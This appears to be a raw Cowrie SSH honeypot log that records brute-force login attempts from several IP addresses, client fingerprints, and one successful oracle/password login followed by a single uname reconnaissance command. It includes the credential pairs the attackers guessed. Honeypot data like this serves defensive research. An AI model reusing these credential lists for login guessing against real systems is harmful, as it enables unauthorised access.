{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:55.018189Z","src_ip":"2.57.121.112","session":"2a6e4d6cf418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"domin","message":"login attempt [admin/domin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:55.501114Z","src_ip":"2.57.121.112","session":"2a6e4d6cf418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dollie","message":"login attempt [admin/dollie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:56.613264Z","src_ip":"2.57.121.112","session":"2a6e4d6cf418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dogsdogs","message":"login attempt [admin/dogsdogs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:57.717903Z","src_ip":"2.57.121.112","session":"2a6e4d6cf418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dogday","message":"login attempt [admin/dogday] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:58.828578Z","src_ip":"2.57.121.112","session":"2a6e4d6cf418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dnstuff","message":"login attempt [admin/dnstuff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:59.933714Z","src_ip":"2.57.121.112","session":"2a6e4d6cf418","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:01.039686Z","src_ip":"2.57.121.112","session":"2a6e4d6cf418","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":59684,"dst_ip":"159.203.135.109","dst_port":22,"session":"db61b1725ffb","protocol":"ssh","message":"New connection: 103.75.199.4:59684 (159.203.135.109:22) [session: db61b1725ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:02.225644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:02.231709Z","src_ip":"103.75.199.4","session":"db61b1725ffb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:02.326540Z","src_ip":"103.75.199.4","session":"db61b1725ffb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:02.606204Z","src_ip":"103.75.199.4","session":"db61b1725ffb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:03.702190Z","src_ip":"103.75.199.4","session":"db61b1725ffb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":37246,"dst_ip":"10.17.0.5","dst_port":22,"session":"617b64c39334","protocol":"ssh","message":"New connection: 94.154.34.232:37246 (10.17.0.5:22) [session: 617b64c39334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:22.244260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:22.248477Z","src_ip":"94.154.34.232","session":"617b64c39334","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:22.372248Z","src_ip":"94.154.34.232","session":"617b64c39334","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Superman123","message":"login attempt [root/Superman123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:22.882570Z","src_ip":"94.154.34.232","session":"617b64c39334","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:24.005809Z","src_ip":"94.154.34.232","session":"617b64c39334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":60170,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d7a0734756b","protocol":"ssh","message":"New connection: 103.75.199.4:60170 (159.203.135.109:22) [session: 7d7a0734756b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:24.172067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:24.176611Z","src_ip":"103.75.199.4","session":"7d7a0734756b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:24.268600Z","src_ip":"103.75.199.4","session":"7d7a0734756b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:24.543619Z","src_ip":"103.75.199.4","session":"7d7a0734756b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:24.780064Z","src_ip":"103.75.199.4","session":"7d7a0734756b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:24.783908Z","src_ip":"103.75.199.4","session":"7d7a0734756b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:24.879757Z","src_ip":"103.75.199.4","session":"7d7a0734756b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:24.885295Z","src_ip":"103.75.199.4","session":"7d7a0734756b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":51511,"dst_ip":"10.17.0.5","dst_port":22,"session":"43b07d1213f4","protocol":"ssh","message":"New connection: 2.57.121.25:51511 (10.17.0.5:22) [session: 43b07d1213f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:36.121306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:36.126439Z","src_ip":"2.57.121.25","session":"43b07d1213f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:36.227701Z","src_ip":"2.57.121.25","session":"43b07d1213f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"flapper","message":"login attempt [user/flapper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:36.704715Z","src_ip":"2.57.121.25","session":"43b07d1213f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fiona","message":"login attempt [user/fiona] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:37.808873Z","src_ip":"2.57.121.25","session":"43b07d1213f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"finnegan","message":"login attempt [user/finnegan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:38.912877Z","src_ip":"2.57.121.25","session":"43b07d1213f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":43988,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ba30b978fbd","protocol":"ssh","message":"New connection: 78.40.37.143:43988 (10.17.0.5:22) [session: 1ba30b978fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:39.539925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:39.547474Z","src_ip":"78.40.37.143","session":"1ba30b978fbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:39.623670Z","src_ip":"78.40.37.143","session":"1ba30b978fbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teaspeak","password":"teaspeak","message":"login attempt [teaspeak/teaspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:39.961022Z","src_ip":"78.40.37.143","session":"1ba30b978fbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"final","message":"login attempt [user/final] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:40.016478Z","src_ip":"2.57.121.25","session":"43b07d1213f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:41.039724Z","src_ip":"78.40.37.143","session":"1ba30b978fbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fifty","message":"login attempt [user/fifty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:41.119184Z","src_ip":"2.57.121.25","session":"43b07d1213f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:42.222455Z","src_ip":"2.57.121.25","session":"43b07d1213f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":57252,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8d35c421370","protocol":"ssh","message":"New connection: 103.75.199.4:57252 (159.203.135.109:22) [session: d8d35c421370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:46.003593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:46.008750Z","src_ip":"103.75.199.4","session":"d8d35c421370","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:46.159690Z","src_ip":"103.75.199.4","session":"d8d35c421370","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:46.432798Z","src_ip":"103.75.199.4","session":"d8d35c421370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:33:47.526940Z","src_ip":"103.75.199.4","session":"d8d35c421370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":54330,"dst_ip":"159.203.135.109","dst_port":22,"session":"025a17caaf2d","protocol":"ssh","message":"New connection: 103.75.199.4:54330 (159.203.135.109:22) [session: 025a17caaf2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:07.894854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:07.898971Z","src_ip":"103.75.199.4","session":"025a17caaf2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:07.990339Z","src_ip":"103.75.199.4","session":"025a17caaf2d","protocol":"ssh"}
